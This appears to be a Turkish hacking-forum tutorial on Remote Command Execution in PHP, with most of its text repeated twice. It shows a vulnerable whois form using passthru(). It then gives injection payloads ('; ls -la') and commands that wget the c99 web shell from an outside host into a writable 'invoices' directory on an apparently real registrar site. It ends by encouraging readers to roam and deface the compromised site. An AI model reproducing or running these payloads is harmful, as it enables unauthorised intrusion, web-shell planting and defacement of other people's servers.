- 17 Mar 2016
- 629
- 1
Remote Command Execution (RCE);
Merhaba arkadaşlar bu konumda sizlere "Remote Command Execution (RCE)" açığını anlatacağım.
Öncelikle şunu bilmeliyiz ki web güvenlik açıkları türlerinde en büyük tehlikesi olan açıklardan birisi budur diyebilirim.
Bu açığı bulmak çok daha zordur. Bir nevi komut çalıştırma açığıdır arkadaşlar. Bu açığa pek rastlanmaz çünkü arkadaşlar WebMaster'ler kolay kolay
komut çalıştıran kodlar yazmazlar. Şimdi başlayalım arkadaşlar ;
Önce php de sistem shell çağrısı yapan fonksiyonlara bakalım ;
Genel olarak bunlar sistemde komut veya herhangi bi uygulama çalıştırmaya yarayan fonksiyonlardır.
Peki bu fonksiyonları webmaster ne gibi durumlarda kullanır ?
Örneğin; whois, ping gibi komutlar, pek çok domain ve network işlemlerini kolaylaştırabilir. Dolayısıyla bu gibi formlar arka planda sizden aldığı
verileri önce shell komutuna gönderip daha sonra çıktıyı size iletiyor olabilir.
Bu kodda dikkat ettiyseniz bizden domainname alınıyor ve passthru() ya "whois "+domainname olarak gönderiliyor.
Whois komutunun çıktısı da haliyle sayfaya basılıyor. passthru direk çıktıyı sayfaya basar çünkü. Buraya kadar her şey yolunda gibi demi neticede adamın girdiği
domainname "whois" komutuna gönderiliyor.
Şimdi web sitede deneme yapalım arkadaşlar. Bir domain firmasından örnek vereceğim arkadaşlar ;
Normal bir arayüzü var sitenin sol tarafta whois yeri var yani sorgulama yeri şimdi dedikki RCE açığı whois çekilen yerlerde olabilir.
Şimdi resimde görüyorsunuz ki arkadaşlar sorgu yapma yeri var biz burada şunu yapalım.
komutunu uyguluyalım ve bakalım ne olucak dizinleri bilgileriyle görüntüleyecek mi ?
Aynen tam tahmin ettiğimiz gibi tüm dizinleri bizlere gösterdi arkadaşlar.
Şimdi buradan bakalım neler var neler yok çok fazla dizin var şimdi ilk işimiz ne olsun
wget komutu ile shell yüklemek olsun. Deneyelim arkadaşlar. Öncelikle bir sitenin dizininde shell kodlarımız olucak arkadaşlar. "http://www.r57shells.com/c99.txt"
komutunu uyguluyoruz ve görüyoruz ki hiçbirşey yok arkadaşlar.
Hiçbirşey yok zaten ilk başta
çektiğimizde görüyoruz ki izinli dizin değil burası heryerde kısıtlama var ilk işimiz olarak birdaha "ls -la" çekelim ve izini bir dizin arayalım.
evet biraz alt taraflara bakınca görüyoruz ki bu dizin de tüm yetkiler var o zaman şunu yapalım arkadaşlar.
ilk başta "invoices" dizinine girelim ve orada çağırma komutunu uyguluyalım.
komutunu uyguladığımız zaman arkadaşlar. Bakalım ne oluyor.
içine girdiğimiz zaman arkadaşlar görüyoruz ki shellimiz var.
Artık gerisi çok kolay arkadaşlar dizinlerde gez crit at istersen.
RCE açığını kullanmak bu kadar arkadaşlar. Selametle kalın..
Merhaba arkadaşlar bu konumda sizlere "Remote Command Execution (RCE)" açığını anlatacağım.
Öncelikle şunu bilmeliyiz ki web güvenlik açıkları türlerinde en büyük tehlikesi olan açıklardan birisi budur diyebilirim.
Bu açığı bulmak çok daha zordur. Bir nevi komut çalıştırma açığıdır arkadaşlar. Bu açığa pek rastlanmaz çünkü arkadaşlar WebMaster'ler kolay kolay
komut çalıştıran kodlar yazmazlar. Şimdi başlayalım arkadaşlar ;
Önce php de sistem shell çağrısı yapan fonksiyonlara bakalım ;
Kod:
1 - passthru()
2 - exec()
3 - shell_exec()
4 - proc_open()
5 - system()
6 - popen()
7 -`komut`
Peki bu fonksiyonları webmaster ne gibi durumlarda kullanır ?
Örneğin; whois, ping gibi komutlar, pek çok domain ve network işlemlerini kolaylaştırabilir. Dolayısıyla bu gibi formlar arka planda sizden aldığı
verileri önce shell komutuna gönderip daha sonra çıktıyı size iletiyor olabilir.
Kod:
1 - if(isset($_GET["domainname"])){
2 - echo "Whois çıktısı:";
3 - passthru("whois ".$_GET["domainname"]);
4 - }
Whois komutunun çıktısı da haliyle sayfaya basılıyor. passthru direk çıktıyı sayfaya basar çünkü. Buraya kadar her şey yolunda gibi demi neticede adamın girdiği
domainname "whois" komutuna gönderiliyor.
Şimdi web sitede deneme yapalım arkadaşlar. Bir domain firmasından örnek vereceğim arkadaşlar ;
Normal bir arayüzü var sitenin sol tarafta whois yeri var yani sorgulama yeri şimdi dedikki RCE açığı whois çekilen yerlerde olabilir.
Şimdi resimde görüyorsunuz ki arkadaşlar sorgu yapma yeri var biz burada şunu yapalım.
Kod:
"; ls -la"
Aynen tam tahmin ettiğimiz gibi tüm dizinleri bizlere gösterdi arkadaşlar.
Şimdi buradan bakalım neler var neler yok çok fazla dizin var şimdi ilk işimiz ne olsun
wget komutu ile shell yüklemek olsun. Deneyelim arkadaşlar. Öncelikle bir sitenin dizininde shell kodlarımız olucak arkadaşlar. "http://www.r57shells.com/c99.txt"
Kod:
"; wget http://www.r57shells.com/c99.txt && mv c99.txt c99.php"
Hiçbirşey yok zaten ilk başta
Kod:
"; ls -la"
Kod:
"drwxrwxrwx 14 dbanda dbanda 24576 Oct 26 10:24 invoices"
ilk başta "invoices" dizinine girelim ve orada çağırma komutunu uyguluyalım.
Kod:
";cd invoices && wget r57shel.com/c99.txt && mv c99.txt c99.php"
Kod:
[COLOR="darkred"]"site.com/invoices/c99.php"[/COLOR]
Artık gerisi çok kolay arkadaşlar dizinlerde gez crit at istersen.
RCE açığını kullanmak bu kadar arkadaşlar. Selametle kalın..